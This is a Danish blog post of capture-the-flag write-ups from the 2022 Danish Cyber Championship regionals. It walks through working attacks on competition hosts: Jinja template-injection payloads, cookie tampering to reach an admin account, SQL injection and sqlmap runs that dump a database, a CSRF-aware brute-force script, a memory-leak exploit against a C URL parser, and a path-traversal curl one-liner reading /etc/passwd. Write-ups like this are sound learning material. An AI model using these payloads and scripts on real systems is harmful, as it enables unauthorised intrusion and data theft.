Home Github

DDC22 Regionals | Write-up collection (Danish)

1. Introduktion

Velkommen til denne write-up samling for de opgaver jeg klarede til den regionale del af De Danske Cybermesterskaber 2022.
Jeg skriver denne post på dansk, da jeg følte det var passende givet det er en dansk konkurrence.
Jeg klarede 6 opgaver i alt i den regionale del af konkurrencen, og fik med 800 point kvalificeret mig til finalen den 9. maj.

2. Secret Squirrels Telekinetic Injector   web

Antal point: 50
Beskrivelse:

De hemmelige egern er på farten igen med deres nødder og telekinetiske evner.
Se om du kan finde deres hemmelige config key til deres hjemmeside ssti.hkn

I denne opgave bliver vi mødt af følgende velkomst side:
2022-04-14_13-33-37_screenshot.png
Hvor vi har mulighed for at opgive en email adresse for at abonnere på et nyhedsbrev omhandlende nogle nødder :^ )

Det som vi skriver bliver ikke valideret, men bliver direkte reflekteret tilbage i vores response:
2022-04-14_13-36-24_screenshot.png

Opgaven hinter til et specielt angreb kaldet Server Side Template Injection, der forkortet bliver til SSTI. Som næsten ikke er til at falde over på velkomst siden ;)

Hvis vi kigger på wappalyzer browser udvidelsen, kan vi se at siden køre flask i baggrunden:
2022-04-14_13-48-03_screenshot.png

Flask bruger en template engine kaldet jinja, til at indsætte værdier i skabeloner for at kunne personliggøre indhold.
For eksempel vise en email adresse der er sendt afsted til et nyhedsbrev.

Vi kan teste om bruger inputtet bliver ordentligt saniteret inden at det bliver sat ind i skabelonen ved at sende følgende streng afsted:

{{7*7}}

Som vi kan se i responsen får vi altså resultatet tilbage!
2022-04-14_13-54-05_screenshot.png
Siden er altså sårbar overfor SSTI!
Beskrivelsen nævner en hemmelig config key, og i flask er der et object kaldet config tilgængelig under behandling af requests.
Hvis vi istedet bruger payloaded {{config}} istedet for {{7*7}} så skulle vi gerne blive mødt af nogle hemmeligheder!

2022-04-14_13-58-39_screenshot.png
Og der har vi jo flaget: DDC{SSTI_1n_fl45k_15_wh3r3_7h3_squ1rr3l_h1d3_7h3_nutz}

3. Baking Cookies   web

Antal point: 50
Beskrivelse:

Jeg har opdateret min hjemmeside til styring af kontakter og har nu fået lukket sikkerhedshullet i vCard-systemet. Jeg er dog stadig lidt bekymret, da jeg gemmer en del personfølsom data i mine systemer, og jeg vil nødig have, at nogen får adgang til andres konti og kontakter. Vil du tjekke den nye udgave for mig? Så giver jeg en cookie!

http://contacts-vault.hkn

Besøger vi hjemmesiden linket i opgavens beskrivelse, bliver vi mødt af denne side:
2022-04-14_14-02-44_screenshot.png
Her er der altså en masse lækker data lige til indsamle, hvis bare vi kan finde fejlen!
Efter at have oprettet en bruger og logget ind, bliver vi mødt af meget tom beholder for kontakter:
2022-04-14_14-06-17_screenshot.png

Vi kan åbne hamburger menuen og søge efter kontakter, lave nye eller bare se alle kontakter.
Men beskrivelsen af opgaven hintede tile nogle cookies, så det var det første jeg tjekkede ud.
Man kan se de cookies ens browser gemmer under debug tools og storage:
2022-04-14_14-09-02_screenshot.png
I cookien er der en JSON string hvor vi har et _user_id sat til værdien 6:

"{\"_user_id\": \"6\"\054 \"_fresh\": true\054 \"_id\": \"a33260853250b0d0d323433e67e53e64f90ec67a81533f05ee8e64e816f281059ffad6ba117cef8c667a742331a27c09491075ab8a91c1aefb057e21c1cc6824\"}"

Hvis systemet bruger et incrementerende bruger ID, vil administrator brugeren med stor sandsynlighed have et ID på 1.
2022-04-14_14-14-26_screenshot.png
Det virkede! Hvis vi scroller længere ned på siden finder vi flaget:

DDC{f1x_th4t_c00k1e_vuln_0r_cl0se_th3_b4k3ry}

4. Searching Outside the Box   web

Antal point: 200
Beskrivelse:

Nu burde alle sikkerhedshullerne på min hjemmeside være lukket, så ingen længere kan se andres kontakter! Er lidt mere tryg nu, jeg har nemlig en super hemmelig kontakt, som ingen må få at se! Den er dog også ekstra beskyttet og kan kun ses direkte fra min admin profil.

Jeg har også forbedret søgefunktionen lidt, så man nemmere kan finde sine kontakter. Vil du hjælpe mig med at tjekke nyeste udgave? Det er bare en formalitet, har næsten ikke ændret noget, men det skal jo gøres. Tak!

http://contact-vault.hkn

Denne opgave er en fortsættelse på forrige opgave.
Efter at have patchet forrige fejl, skal vi prøve at finde en ny.
Brugerfladen er den samme som før, men kigger vi på vores cookies er den ikke længere så let læselig:

.eJwljjsOAyEMBe9CncIfDGYvszJgK2nZbBXl7kFKM3oavWI-6Yzl1zMd73X7I52vmY5kzFRAhUmgw4TJxJnZS3XZzNHAR6mmKMwB4q7bumIJUgRpETZLN8Q6PHSU_a2ZmNGoDmi5IVSxrtZwoHl0kOq09xhFKacdcl--_jVI6fsDXpwuOQ.YlgREw.OJxo-Kot0pARQLuCN3HPX-aIqNU

En JWT token… den kan vi ikke bare lige bryde…

Til gengæld er der andre funktioner vi kan lege med!
Der er en søge funktion, som bliver hintet til i beskrivelsen.
Så jeg begyndte at lege med inputtet der til.
Søge funktionaliteten er med stor sandsynlighed baseret på SQL, og testede derfor for SQLinjection ved hjælp af følgende søgning:

' OR 1=1 -- -

Her hopper vi ud af strengen i SQL sætningen og siger sandt
Et gæt på hvordan sætningen på backenden vil se ud ville være:

SELECT * FROM 'contacts' WHERE '<bruger input>'

Med sqlinjection payload:

SELECT * FROM 'contacts' WHERE '' OR 1=1 -- -'

Hvor -- - er for at ud kommentere resten at sætningen.
OG DET VIRKER!!!! næsten…
2022-04-14_14-28-11_screenshot.png
Vi fik altså ikke alle kontakter ud… for kigger man igennem listen er der desværre ikke noget flag.
Her fra ville man i det virkelige liv manuelt prøve at få et bedre overblik over database type, og teste forskellige SQL teknikker af….
Men det er her var en 10 timers ctf om en chance for at komme på det danske cyberlandshold. No way, har jeg tid eller forstand til at gøre det manuelt…

Heldigvis er der en lille stykke software kaldet sqlmap.

Men da vi er bag login, kan vi ikke bare sige:

sqlmap -u http://contact-vault.hkn/search?s=asd

Istedet kan vi bruge en fil der indeholder en HTTP request.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ]
└─> $ cat contact-vault.txt
GET /search?s=asdf HTTP/1.1
Host: contact-vault.hkn
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://contact-vault.hkn/search?s=%27+asdf
Cookie: session=.eJwlzjEOwzAIAMC_eO4ABgPOZyIwtto1aaaqf2-kjrfdp-zrmOezbO_jmo-yv7JsxWs3X62jErhrBObIqERUHXRJr2BBtQ8mFhLq2MRCGluyeaqRTlVya-Qz6lRIAhy3hTkmhXikgcZYhqSDXUakQ-MIMchyR65zHv8NYvn-AJsCLvo.YlG_TQ.ya0WrIF0XfwLmbP8azYSGW9117A
Upgrade-Insecure-Requests: 1
Sec-GPC: 1


Denne er samlet op og gemt gennem burp suite.
Og så kan vi give den til sqlmap med flaget -r for request fil….
Men af en eller anden årsag virkede dette ikke for mig, grundet en bug i sqlmap skulle give den fulde path til filen, og det tog mig lidt for lang tid at indse til konkurrencen… dette kunne dog fikses ved hjælp miljø variable $PWD

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ]
└─> $ sqlmap -r $PWD/contact-vault.txt
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.6.2#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:29:51 /2022-04-14/

[15:29:51] [INFO] parsing HTTP request from '/home/c3lphie/hacking/ctf/ddc22/regionals/contact-vault.txt'
[15:29:51] [INFO] testing connection to the target URL
[15:29:51] [INFO] testing if the target URL content is stable
[15:29:52] [INFO] target URL content is stable
[15:29:52] [INFO] testing if GET parameter 's' is dynamic
[15:29:52] [INFO] GET parameter 's' appears to be dynamic
[15:29:52] [WARNING] heuristic (basic) test shows that GET parameter 's' might not be injectable
[15:29:52] [INFO] testing for SQL injection on GET parameter 's'
[15:29:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:29:54] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:29:54] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[15:29:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:29:55] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[15:29:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[15:29:56] [INFO] testing 'Generic inline queries'
[15:29:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:29:56] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[15:29:56] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[15:29:57] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[15:29:57] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:29:58] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[15:29:58] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[15:30:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[15:30:01] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:30:01] [INFO] target URL appears to have 7 columns in query
[15:30:01] [WARNING] applying generic concatenation (CONCAT)
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[15:30:11] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[15:30:15] [WARNING] GET parameter 's' does not seem to be injectable
[15:30:15] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'
[15:30:15] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 103 times

[*] ending @ 15:30:15 /2022-04-14/

Dette virkede heller ikke… på trods af at vi havde bekræftet det selv…
Grunden til dette er at sqlmap, kan hvis det ikke bliver brugt forsigtigt potentielt lave meget skade.
Vi kan sige at vi er ligeglade, og sætte vores level højere og lave et større mængde tests.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals ]
└─> $ sqlmap -r $PWD/contact-vault.txt --level=3 --threads=6
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.6.2#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:30:55 /2022-04-14/

[15:30:55] [INFO] parsing HTTP request from '/home/c3lphie/hacking/ctf/ddc22/regionals/contact-vault.txt'
[15:30:55] [INFO] testing connection to the target URL
[15:30:56] [INFO] testing if the target URL content is stable
[15:30:56] [INFO] target URL content is stable
[15:30:56] [INFO] testing if GET parameter 's' is dynamic
[15:30:56] [INFO] GET parameter 's' appears to be dynamic
[15:30:56] [WARNING] heuristic (basic) test shows that GET parameter 's' might not be injectable
[15:30:56] [INFO] testing for SQL injection on GET parameter 's'
[15:30:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:30:57] [INFO] GET parameter 's' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="102")
[15:30:57] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'SQLite' extending provided level (3) and risk (1) values? [Y/n]
[15:31:04] [INFO] testing 'Generic inline queries'
[15:31:04] [INFO] testing 'SQLite inline queries'
[15:31:04] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[15:31:04] [WARNING] time-based comparison requires larger statistical model, please wait................ (done)
[15:31:05] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[15:31:05] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[15:31:08] [INFO] GET parameter 's' appears to be 'SQLite > 2.0 AND time-based blind (heavy query)' injectable
[15:31:08] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:31:08] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:31:09] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:31:09] [INFO] target URL appears to have 7 columns in query

injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[15:31:48] [WARNING] if UNION based SQL injection is not detected, please consider forcing the back-end DBMS (e.g. '--dbms=mysql')
[15:31:49] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[15:31:50] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[15:31:52] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[15:31:54] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[15:31:56] [INFO] checking if the injection point on GET parameter 's' is a false positive
GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 211 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=asdf' AND 8771=8771-- rhDS

    Type: time-based blind
    Title: SQLite > 2.0 AND time-based blind (heavy query)
    Payload: s=asdf' AND 4111=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))-- tBKa
---
[15:31:59] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:31:59] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 139 times
[15:31:59] [INFO] fetched data logged to text files under '/home/c3lphie/.local/share/sqlmap/output/contact-vault.hkn'

[*] ending @ 15:31:59 /2022-04-14/

"I'm in! B)" - 1337 h4ck3r
Det virkede!
Nu skal vi bare finde flaget
Først kan vi finde tabellerne i data basen med:

sqlmap -r $PWD/contact-vault.txt  --tables

Hvilket gav os følgende tabeller:

  • contacts
  • users
  • reviews

Her fra kan vi gå igennem de forskellige databaser med:

sqlmap -r $PWD/contact-vault.txt --dump <tabel navn>

Jeg valgte at gå efter kontakterne, og efter et par minutter fik jeg trukket følgende ud fra databasen:

+----+---------+----+----+-----+-----+----------------------------------------------------+------------------------+---------+---------+-----------+------------+------------+
| id | user_id | 20 | 80 | 100 | 200 | email                                              | phone                  | FOREIGN | PRIMARY | is_secret | last_name  | first_name |
+----+---------+----+----+-----+-----+----------------------------------------------------+------------------------+---------+---------+-----------+------------+------------+
| 1  | 1       | 20 | 80 | 100 | 200 | DDC{b3tt3r_f1x_th4t_SQLi_vuln_GDPR_4ud1t_1s_cl0s3} | 707.795.7976x4823      | NULL    | NULL    | 1         | McFlagFace | Flaggy     |
| 2  | 2       | 20 | 80 | 100 | 200 | scottware@example.net                              | 387.321.1199x232       | NULL    | NULL    | 0         | Anderson   | Katelyn    |
| 3  | 3       | 20 | 80 | 100 | 200 | dsmith@example.org                                 | 001-732-875-2279       | NULL    | NULL    | 0         | Summers    | Brendan    |
| 4  | 5       | 20 | 80 | 100 | 200 | ybrooks@example.net                                | 001-578-221-0587x640   | NULL    | NULL    | 0         | Edwards    | Alexander  |
| 5  | 10      | 20 | 80 | 100 | 200 | ecole@example.org                                  | (720)387-6625x98551    | NULL    | NULL    | 0         | Hammond    | Rebecca    |
| 6  | 5       | 20 | 80 | 100 | 200 | leemelissa@example.org                             | 001-968-516-0783x1906  | NULL    | NULL    | 0         | Wright     | Nicholas   |
| 7  | 8       | 20 | 80 | 100 | 200 | floresdarren@example.net                           | 001-056-694-9924x65994 | NULL    | NULL    | 0         | Mitchell   | Cheryl     |
| 8  | 7       | 20 | 80 | 100 | 200 | johnsheppard@example.org                           | 001-175-115-0670x8237  | NULL    | NULL    | 0         | Gonzalez   | Benjamin   |
| 9  | 3       | 20 | 80 | 100 | 200 | matthew03@example.net                              | 001-328-332-6948x0714  | NULL    | NULL    | 0         | Diaz       | Tonya      |
| 10 | 6       | 20 | 80 | 100 | 200 | hwebster@example.net                               | 302-128-2921x2418      | NULL    | NULL    | 0         | Knapp      | Charles    |
| 11 | 2       | 20 | 80 | 100 | 200 | kevinjohnson@example.com                           | 718.484.9614           | NULL    | NULL    | 0         | Chan       | Diana      |
| 12 | 9       | 20 | 80 | 100 | 200 | gonzalezrachel@example.com                         | 001-127-324-1188       | NULL    | NULL    | 0         | Velasquez  | John       |
| 13 | 7       | 20 | 80 | 100 | 200 | hamptondavid@example.net                           | 7260209982             | NULL    | NULL    | 0         | Price      | James      |
| 14 | 7       | 20 | 80 | 100 | 200 | erin87@example.org                                 | 622-323-8993x556       | NULL    | NULL    | 0         | Davila     | Bobby      |
+----+---------+----+----+-----+-----+----------------------------------------------------+------------------------+---------+---------+-----------+------------+------------+

Og vi har også flaget:

DDC{b3tt3r_f1x_th4t_SQLi_vuln_GDPR_4ud1t_1s_cl0s3}

5. Bare request amok   web

Antal point: 100
Beskrivelse:

Du skal nok bare sende en masse requests altså bare-request-amok.hkn:5000

Til denne opgave skulle vi bruteforce et login til en hjemmeside, for derefter at navigere hen til et hemmeligt directory.
Besøger vi siden bliver vi mødt med følgende login:

2022-04-14_09-57-27_screenshot.png
Figure 1: Login side for opgaven.

De kære challenge authors, har været så venlige at give os kildekoden til web-appen…(Tæller fedte-point til finalen? jk…)
Grunden til det er fedt er at vi så har mulighed for at teste lokalt indtil det virker uden at belaste serveren!
Vi fik en filen source.zip udleveret med følgende indhold:

total 1588
-rw-r--r-- 1 c3lphie c3lphie    2985 Apr  9 17:56 app.py
-rw-r--r-- 1 c3lphie c3lphie     961 Dec 13 11:29 directory.txt
-rw-r--r-- 1 c3lphie c3lphie       7 Dec 13 12:32 flag.txt
-rw-r--r-- 1 c3lphie c3lphie     966 Dec 13 11:28 passwords.txt
drwxr-xr-x 5 c3lphie c3lphie    4096 Feb 20 17:27 static
drwxr-xr-x 2 c3lphie c3lphie    4096 Dec 13 15:46 templates

De to filer, passwords.txt og directory.txt kan vi bruge som wordlister til vores bruteforce angreb!
Vi har også et test flag vi kan bruge mens vi test vores angreb!

Kigger vi gennem kildekoden i app.py, kan vi nemlig hurtigt se at det ikke bare lige er at smide værktøj som hydra eller wfuzz efter det.
Der er fire interessante funktioner:

  1. index()
  2. wuhuuuuuuuuu()
  3. login()
  4. page_not_found(error)

Hele applikationen bruger python biblioteket flask til at håndtere HTTP requests.
Og index funktionen, returnere altså enten index.html hvor vi kan logge ind, eller admin.html hvis vi er logget ind.
Der bliver også lavet en CSRF token, til at beskytte mod CSRF angreb.

@app.route("/")
def index():
    print(AdminPassword)
    print(hiddendir)
    if not session.get('logged_in'):
	return render_template('index.html',csrf_token=newCSRF("index"))
    else:
	return render_template("admin.html",csrf_token=newCSRF("admin"))

Nedenfor ses login funktionaliteten, hvor vi kan se at der SKAL bruges en CSRF token.
Heldigvis har vi et hardcoded brugernavn admin, hvilket skære en del af tid af vores angreb ikke at skulle fine brugernavn heller hehe.

@app.route("/login", methods=(['POST']))
def login():
    if request.method == 'POST':
	username = request.form.get("username")
	password = request.form.get("password")
	csrf_token = request.form.get("csrf_token")
	if username == "admin" and password == AdminPassword and useCSRF(csrf_token,"index"):
	    print("dope")
	    session.clear()
	    session['logged_in'] = True
	    session['username']="admin"
    return redirect(url_for('index'))

I denne funktion får vi flaget, men kun hvis vi er logget ind.
Der skal også bruges en CSRF token her for at kunne få flaget i sidste ende.
En lille detalje der er vigtig at bide mærke i er funktions kaldet inden vi returnere, session.clear() som gør at vi skal logge ind igen uanset hvad der sker med vores request.

@app.route("/"+hiddendir, methods=('GET','POST'))
def wuhuuuuuuuuu():
    print("hidden dir")
    if request.method == 'POST' and session.get('logged_in'):
	print("posted hidden dir")

	csrf_token = request.form.get("csrf_token")
	print("csrf "+csrf_token)
	print(CSRFmap)
	if useCSRF(csrf_token,"admin"):
	    return """<html>
				<body>
				    <h1>%s</h1>
				</body>
				</html>
				""" % flag
    session.clear()
    return redirect(url_for('index'))

En lille hale ved hele den her applikation er at vores session bliver cleared hver gang vi rammer HTTP status koden 404.
Vi skal altså logge ind igen, hvis vi rammer et ikke eksisterende endpoint.

@app.errorhandler(404)
def page_not_found(error):
    session.clear()
    return redirect(url_for('index'))

Så hvordan løser vi dette?
Jeg brugte python biblioteket BeautifulSoup til at trække vores CSRF token ud af vores response i get_csrf funktionen.
Og requests biblioteket til at håndtere HTTP requests der skulle sendes.
Jeg vil ikke gå i detaljer omkring mit script da det er relativ simpelt at forstå, men vil anbefale at læse det igennem hvis du ikke har erfaring.
Kort beskrevet er angrebet design sådan:

læs passwords fra fil
læs hiddendirs fra fil

læs index side, gem CSRF token
for hvert password i passwordlist
    login som 'admin' med password og CSRF token
    gem CSRF token i reponse
    hvis 'secret path' er i respone
        gem password
        gem CSRF token
        stop login bruteforce

for hver folder i hiddendirs
    login som admin
    gem CSRF token
    besøg folder
    hvis 'DDC' er i response
        print response
        stop bruteforce

Køre vi scriptet:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/request_amok ]
└─> $ time python3 solve.py
/home/c3lphie/hacking/ctf/ddc22/regionals/request_amok/solve.py:18: GuessedAtParserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("html5lib"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently.

The code that caused this warning is on line 18 of the file /home/c3lphie/hacking/ctf/ddc22/regionals/request_amok/solve.py. To get rid of this warning, pass the additional argument 'features="html5lib"' to the BeautifulSoup constructor.

  soup = BeautifulSoup(text)
Found admin pass
<html>
                                <body>
                                    <h1>DDC{scr1pt_d1g_ud_4f_d3t_b4re_r3qu3st_am4k}</h1>
                                </body>
                                </html>

python3 solve.py  3.31s user 0.15s system 8% cpu 39.162 total

Får vi flaget DDC{scr1pt_d1g_ud_4f_d3t_b4re_r3qu3st_am4k} efter omkring 40 sekunder.

import requests
from bs4 import BeautifulSoup

session = requests.Session()

target = "http://bare-request-amok.hkn:5000"

passwords = ""
hiddendirs = ""

with open("passwords.txt","r") as f:
    passwords = f.read().splitlines()

with open("directory.txt","r") as f:
    hiddendirs = f.read().splitlines()

def get_csrf(text):
    soup = BeautifulSoup(text)
    inputs = soup.find_all(attrs={"name":"csrf_token"})
    return inputs[0]["value"]


def brute_login():
    res = requests.get(target)
    csrf = get_csrf(res.text)
    for x in passwords:
	res = requests.post(target + "/login", data={"username": "admin", "password": x, "csrf_token":csrf})
	csrf = get_csrf(res.text)
	if "secret path" in res.text:
	    return x, csrf

def login_adm(session,admPass, csrf):
    res = session.get(target)
    csrf = get_csrf(res.text)
    res = session.post(target + "/login", data={"username": "admin", "password": admPass, "csrf_token":csrf})
    return get_csrf(res.text)

def brute_dir(admPass, csrf):
    session = requests.Session()
    csrf = login_adm(session,admPass, csrf)
    for x in hiddendirs:
	csrf = login_adm(session,admPass, csrf)
	res = session.post(target + "/" + x, data={"csrf_token":csrf})
	#csrf = get_csrf(res.text)
	if "DDC" in res.text:
	    print(res.text)
	    break

adm_pass, csrf = brute_login()
print("Found admin pass")
brute_dir(adm_pass, csrf)

6. URL Parse   pwn

Antal point: 100
Beskrivelse:

På urlParse.hkn 9000, kan du netcat til server og finde et simpelt program, der tager en url som input, som indeholder et brugernavn og en adgangskode, og derefter spytter dem tilbage efter dig. URL’en er af denne form:

 http://bruger:password@somehost.com

Der er også et flag et sted i programmet, du burde kunne få det. Du kan downloade filerne i denne udfordring på her.

I denne opgave fik vi udleveret en binær fil og kildekoden for en urlparser.
Nedenfor ses kildekoden for programmet:

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
    char *field;
    char *col, *at; 
    char flag[64];
    char input[64];
    char buf[64];

    // read flag

    FILE *f = fopen("flag.txt", "r");
    if(f == NULL){
	printf("flag not found: please run this on the server\n");
	}
    fgets(flag, 63, f);


    // Read user input
    scanf("%64s", input);
    // Check url
    if (strncmp("http://", input, 7) != 0) {
	printf("Not a URL\n");
	return -1;
    }
    // Skip http
    field = strchr(input, '/')+2;
    // ptr to colon
    col = strchr(field, ':');
    // ptr to at
    at = strchr(field, '@');
    unsigned char pw_size = at-col;
    unsigned char user_size = col-field;

    memcpy(buf, flag, strlen(flag));

    write(1, field,  (pw_size+ user_size));
}

Først åbner den flaget og gemmer det i variablen flag.
Derefter læser den en streng fra brugeren, og laver et check for at se om urllens protokol er HTTP.

Herefter finder den længderne for brugernavnet og passwordet i urllen.
Hvorefter den skriver urllen til stdout, problemet her er dog at vi styre størrelsen af det den skriver ud.
Dette betyder at vi kan læse dele af hukommelsen ved at læse uden for variablen field's hukommelses område.

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/urlparse/sourceAndBinary ]
└─> $ ./urlParse
http://AAAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@asdfasfd.asdfaf
AAAAAAAAAAAAAAAAAA:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDC{TEST_FLAG}
ygd{WO%

Prøver vi dette på remote:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/urlparse/sourceAndBinary ]
└─> $ nc urlparse.hkn 9000
http://A:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
A:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADDC{dsABxVLqOC}5V%@]
                                                                             VU%@
                                                                                 V
                                                                                  Vy0f8%@1y%

Så får vi flaget:

DDC{dsABxVLqOC}

7. Mr Beefs Bestilling   boot2root

Antal point: 300
Beskrivelse:

hallo kan du lige tjekke mrbeefs bestilling ud på http://mrbeefs-bestilling.hkn ???

Da denne opgave er i kategorien boot2root, så brugte jeg samme tilgang som jeg bruger på maskiner fra hackhebox.
Så jeg startede med at køre nmap:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ cat nmap/all_ports.nmap
# Nmap 7.92 scan initiated Sat Apr  9 11:10:58 2022 as: nmap -sS -n -Pn -p- -oA nmap/all_ports mrbeefs-bestilling.hkn
Nmap scan report for mrbeefs-bestilling.hkn (77.196.35.209)
Host is up (0.018s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE
80/tcp open  http

# Nmap done at Sat Apr  9 11:11:07 2022 -- 1 IP address (1 host up) scanned in 9.42 seconds

Der er kun en enkelt port åben, så jeg gik direkte igang med at kigge på hjemmesiden gennem en browser!

Og blev mødt af følgende hjemmeside:
2022-04-14_16-50-22_screenshot.png

Hvis vi klikker på linket, bliver vi ført videre til denne side:
2022-04-14_16-51-26_screenshot.png

Hvis vi kigger på kildekoden, kan vi se at billedet er base64 encoded direkte i responsen:
2022-04-14_16-52-14_screenshot.png

Her fra spekulerede jeg på om der måske var en Local File Inclusion fejl i applikationen!
Så istedet for at spørge om mrbeef.png, så prøvede jeg ../../../../../../etc/passwd hvorefter jeg decodede indholdet.
For at gøre det så nemt som muligt, lavede jeg denne oneliner:

┌──[ c3lphie@c3lphie-laptop:~/hacking/ctf/ddc22/regionals/mr_beefs_bestilling ]
└─> $ curl 'http://mrbeefs-bestilling.hkn/file.php?file=../../../../../../etc/passwd' -S | cut -d "," -f 2 | cut -d ">" -f 1 | base64 -d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1324  100  1324    0     0  34974      0 --:--:-- --:--:-- --:--:-- 35783
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
